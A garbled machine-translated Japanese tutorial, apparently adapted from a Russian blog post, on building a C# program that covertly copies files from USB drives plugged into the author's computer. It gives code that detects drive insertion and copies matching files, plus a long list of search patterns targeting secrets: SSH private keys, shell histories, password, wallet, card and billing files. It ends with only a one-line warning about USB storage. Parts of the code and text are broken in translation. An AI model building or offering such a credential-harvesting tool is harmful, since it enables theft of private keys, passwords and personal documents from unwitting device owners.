インストールおよび管理者権限を必要としない、合法的に接続されたUSBデバイスからファイルを不正にコピーするソフトウェアを作成します。
つまり サイバー犯罪者が危害を加えるために使用できる法的ソフトウェア(ウイルス対策ツールのいずれかの解釈による)。
 
      観客:
プログラミングの初心者で、興味があるだけです。
ソフトウェアを使用した攻撃者の例:
- 1.従業員が別の従業員に、何らかの目的でフラッシュドライブからドキュメントをコピーするように依頼します。 現在、これらおよびその他の文書は悪役の手に渡っています。
- 2.卒業証書を印刷する必要があります。 自宅にプリンターはありません。最寄りのコピーセンターで印刷します。 現在、卒業証書およびその他の情報はコピーセンターの従業員の手に渡っています。
プログラムを作成します。
1. USBデバイスをキャッチする
  WndProcメソッドのオーバーライド 
        
        
        
      
    
      protected override void WndProc(ref Message m)// : base.WndProc(ref m); const int WM_DeviceChange = 0x219; //- usb const int DBT_DEVICEARRIVAL = 0x8000; // const int DBT_DEVICEREMOVECOMPLETE = 0x8004; // if (m.Msg == WM_DeviceChange) Thread T = new Thread(_); if (m.WParam.ToInt32() == DBT_DEVICEARRIVAL) T.Start();// usb if (m.WParam.ToInt32() == DBT_DEVICEREMOVECOMPLETE) T.Abort();// usb
2.検索用のファイル形式を選択します(個々の順序で-各ファイル形式が最初にコピーするファイルを決定するため)
  たとえば、(listBox2)に記録されているファイルの種類:  
        
        
        
      
    
        
        
        
      
      
        
        
        
      
    
     
      
        
        
        
      
    
      *.ppk 
      
        
        
        
      
     *.pref 
      
        
        
        
      
     *.remmina 
      
        
        
        
      
     *.sh 
      
        
        
        
      
     *.txt 
      
        
        
        
      
     *.ml* 
      
        
        
        
      
     *access*.txt 
      
        
        
        
      
     *account* 
      
        
        
        
      
     *accs*.txt 
      
        
        
        
      
     *admin*.txt 
      
        
        
        
      
     *amazon*.txt 
      
        
        
        
      
     *authorized_keys* 
      
        
        
        
      
     *balance*.txt 
      
        
        
        
      
     *bash_history* 
      
        
        
        
      
     *billing*.txt 
      
        
        
        
      
     *btc*.txt*brute* 
      
        
        
        
      
     *c6ep*.txt 
      
        
        
        
      
     *cepep* 
      
        
        
        
      
     *codes* 
      
        
        
        
      
     *connect* 
      
        
        
        
      
     *contacts*.txt 
      
        
        
        
      
     *database* 
      
        
        
        
      
     *dedic*.txt 
      
        
        
        
      
     *dedik*.txt 
      
        
        
        
      
     *domain*.txt 
      
        
        
        
      
     *ftp*.txt 
      
        
        
        
      
     *hack*.txt 
      
        
        
        
      
     *host*.txt 
      
        
        
        
      
     *icq*.txt 
      
        
        
        
      
     *id_*sa* 
      
        
        
        
      
     *id_dsa* 
      
        
        
        
      
     *id_rsa* 
      
        
        
        
      
     *known_hosts* 
      
        
        
        
      
     *ksh_history* 
      
        
        
        
      
     *login* 
      
        
        
        
      
     *mail*.txt 
      
        
        
        
      
     *merchant*.txt 
      
        
        
        
      
     *money* 
      
        
        
        
      
     *myadmin*.txt 
      
        
        
        
      
     *mysql_history* 
      
        
        
        
      
     *nano_history* 
      
        
        
        
      
     *parol* 
      
        
        
        
      
     *pass* 
      
        
        
        
      
     *pentest* 
      
        
        
        
      
     *pgsql_history* 
      
        
        
        
      
     *pma*.txt 
      
        
        
        
      
     *pref* 
      
        
        
        
      
     *qwerty* 
      
        
        
        
      
     *rdp*.txt 
      
        
        
        
      
     *remmina* 
      
        
        
        
      
     *root* 
      
        
        
        
      
     *serv*.txt 
      
        
        
        
      
     *sh_history* 
      
        
        
        
      
     *srv*.txt 
      
        
        
        
      
     *todo*.txt 
      
        
        
        
      
     *userid* 
      
        
        
        
      
     *users* 
      
        
        
        
      
     *vds*.txt 
      
        
        
        
      
     *vpn*.txt 
      
        
        
        
      
     *vps*.txt 
      
        
        
        
      
     *vuln*.txt 
      
        
        
        
      
     *wallet* 
      
        
        
        
      
     *webmon* 
      
        
        
        
      
     *zsh_history* 
      
        
        
        
      
     **.txt 
      
        
        
        
      
     ** 
      
        
        
        
      
     ** 
      
        
        
        
      
     ** 
      
        
        
        
      
     **.txt 
      
        
        
        
      
     **.txt 
      
        
        
        
      
     ** 
      
        
        
        
      
     **.txt 
      
        
        
        
      
     **.txt 
      
        
        
        
      
     ** 
      
        
        
        
      
     **.txt 
      
        
        
        
      
     ** 
      
        
        
        
      
     **.txt 
      
        
        
        
      
     **.txt 
      
        
        
        
      
     ** 
      
        
        
        
      
     ** 
      
        
        
        
      
     ** 
      
        
        
        
      
     ** 
      
        
        
        
      
     **.txt 
      
        
        
        
      
     **.txt 
      
        
        
        
      
     **.txt 
      
        
        
        
      
     **.txt 
      
        
        
        
      
     **.txt 
      
        
        
        
      
     ** 
      
        
        
        
      
     **.txt 
      
        
        
        
      
     ** 
      
        
        
        
      
     **.txt 
      
        
        
        
      
     ** 
      
        
        
        
      
     ** 
      
        
        
        
      
     ** 
      
        
        
        
      
     **.txt 
      
        
        
        
      
     ** 
      
        
        
        
      
     **.txt 
      
        
        
        
      
     ** 
      
        
        
        
      
     **.txt 
      
        
        
        
      
     **.txt 
      
        
        
        
      
     **.txt 
      
        
        
        
      
     **.txt 
      
        
        
        
      
     **.txt 
      
        
        
        
      
     **.txt 
      
        
        
        
      
     ** 
      
        
        
        
      
     **.txt 
      
        
        
        
      
     **.txt 
      
        
        
        
      
     **.txt 
      
        
        
        
      
     **.txt 
      
        
        
        
      
     ** 
      
        
        
        
      
     ** 
      
        
        
        
      
     access.txt 
      
        
        
        
      
     adm.txt 
      
        
        
        
      
     all.txt 
      
        
        
        
      
     bill.txt 
      
        
        
        
      
     card.txt 
      
        
        
        
      
     cards.txt 
      
        
        
        
      
     cc.txt 
      
        
        
        
      
     centos.txt 
      
        
        
        
      
     data.txt 
      
        
        
        
      
     ded.txt 
      
        
        
        
      
     ftps.txt 
      
        
        
        
      
     full.txt 
      
        
        
        
      
     hdd.txt 
      
        
        
        
      
     host.txt 
      
        
        
        
      
     id.txt 
      
        
        
        
      
     info.txt 
      
        
        
        
      
     key.txt 
      
        
        
        
      
     linux.txt 
      
        
        
        
      
     mail.txt 
      
        
        
        
      
     mails.txt 
      
        
        
        
      
     pern*.txt 
      
        
        
        
      
     skype*.txt 
      
        
        
        
      
     sql*.txt 
      
        
        
        
      
     ssh*.txt 
      
        
        
        
      
     sys.txt 
      
        
        
        
      
     tconn.conf 
      
        
        
        
      
     toor.txt 
      
        
        
        
      
     ubuntu.txt 
      
        
        
        
      
     usb.txt 
      
        
        
        
      
     user.txt 
      
        
        
        
      
     virtual.txt 
      
        
        
        
      
     *.txt 
      
        
        
        
      
     *.txt 
      
        
        
        
      
     *.txt 
      
        
        
        
      
     ** 
      
        
        
        
      
     *pass* 
      
        
        
        
      
     *pwd* 
      
        
        
        
      
     *login* 
      
        
        
        
      
     ** 
      
        
        
        
      
     *vk.com* 
      
        
        
        
      
      
      
        
        
        
      
     ** 
      
        
        
        
      
     *.xls* 
      
        
        
        
      
     *.doc* 
      
        
        
        
      
     *.rtf 
      
        
        
        
      
     *.JPG 
      
        
        
        
      
     *.jpeg 
      
        
        
        
      
     *.pgf 
      
        
        
        
      
     *.bmp 
      
        
        
        
      
     *.cr2 
      
        
        
        
      
     *config* 
      
        
        
        
      
     ** 
      
        
        
        
      
     ** 
      
        
        
        
      
    
      
      3. USBドライブ上のファイルを探しています
  検索機能: 
        
        
        
      
    
       private ArrayList F;//    private void _() Thread.Sleep(4000);//         foreach (var dInfo in DriveInfo.GetDrives()) if (dInfo.IsReady && dInfo.DriveType == DriveType.Removable) for (int i = 0; i < listBox2.Items.Count; i++) { foreach (string file in Directory.GetFiles(@dInfo.Name, listBox2.Items[i].ToString(), SearchOption.AllDirectories)) F.Add(new FILEclass(file, Path.GetFileName(file))); }
      
      
        
        
        
      
    
        
        
        
      
      
        
        
        
      
    
     
      5.接続されたUSBドライブからコンピューターにファイルをコピーします
  コピー機能 
       private void cheat() ... ... //    Directory.CreateDirectory("Liked " + DateTime.Now.Year + "." + DateTime.Now.Month + "." + DateTime.Now.Day); int copied = 0; int copy_err = 0; int exist = 0; for (int i = 0; i < F.Count; i++) { string sourceName = Path.GetFileName((((FILEclass)(F[i])).Fullname)); string source = ((FILEclass)(F[i])).Fullname; string dest = Dir + @"\" + ((FILEclass)(F[i])).name; string destName = Path.GetFileName(Dir + @"\" + ((FILEclass)(F[i])).name); if (sourceName.Equals(destName)) if (File.Exists(source)) if (File.Exists(dest)) try { if (FileCompare(source, dest)) exist++; //    else//  -   File.Copy(source, Dir + @"\" + Timenow() + "s. " + ((FILEclass)(F[i])).name); copied++; } catch{copy_err++; }//   USB-  else { try File.Copy(source, dest); catch { copy_err++; } copied++; } else copy_err++; }
      
      
        
        
        
      
    
        
        
        
      
      
        
        
        
      
    
       2つのファイルを比較する機能 
        //https://support.microsoft.com/ru-ru/kb/320348 private bool FileCompare(string file1, string file2) int file1byte; int file2byte; FileStream fs1; FileStream fs2; if (file1 == file2) return true;//        fs1 = new FileStream(file1, FileMode.Open); fs2 = new FileStream(file2, FileMode.Open); if (fs1.Length != fs2.Length) fs1.Close(); fs2.Close(); return false; do { //  ,      file1byte = fs1.ReadByte(); file2byte = fs2.ReadByte(); } while ((file1byte == file2byte) && (file1byte != -1)); fs1.Close(); fs2.Close(); return ((file1byte - file2byte) == 0);
      
      
        
        
        
      
    
        
        
        
      
      
        
        
        
      
    
     6.ロギング
ログを追加することにより、USBデバイス上のおおよそのフォルダー構造とコピー内容を簡単に確認できます。
14.08.2015 21:25:13 ============================================= 14.08.2015 21:25:17 14.08.2015 21:25:18 F:\123hack.txt 14.08.2015 21:25:18 F:\ \\App1\App1\obj\Debug\App1.csproj.FileListAbsolute.txt 14.08.2015 21:25:18 F:\ \\App1\App1\obj\Debug\LanguageQualifiers.txt 14.08.2015 21:25:18 F:\ \\App1\App1\obj\Debug\ProjectArchitectures.txt 14.08.2015 21:25:18 F:\ \\Cisco Mars incident parser\Cisco Mars incident parser\obj\Debug\Cisco Mars incident parser.csproj.FileListAbsolute.txt 14.08.2015 21:25:18 F:\ \\dots\dots\obj\Debug\dots.csproj.FileListAbsolute.txt 14.08.2015 21:25:18 F:\ \\genovirus\genovirus\Assets\AboutAssets.txt 14.08.2015 21:25:18 F:\ \\genovirus\genovirus\Resources\AboutResources.txt 14.08.2015 21:25:18 F:\ \\TheGenoVirus\TheGenoVirus\obj\Debug\ResourceTypeUsage.txt 14.08.2015 21:25:18 F:\ \\TheGenoVirus\TheGenoVirus\obj\Debug
7.外付けHDDからのデータのコピーは「宿題」として残されます
結論:
リムーバブルUSBデバイスに機密情報を保存したり、信頼できないデバイスに接続したりしないでください。
ソースコードとリリース
www.virustotal.com:1/56 (ウイルス対策「VBA32」では「Trojan.MSIL.gen.11」と定義されています)。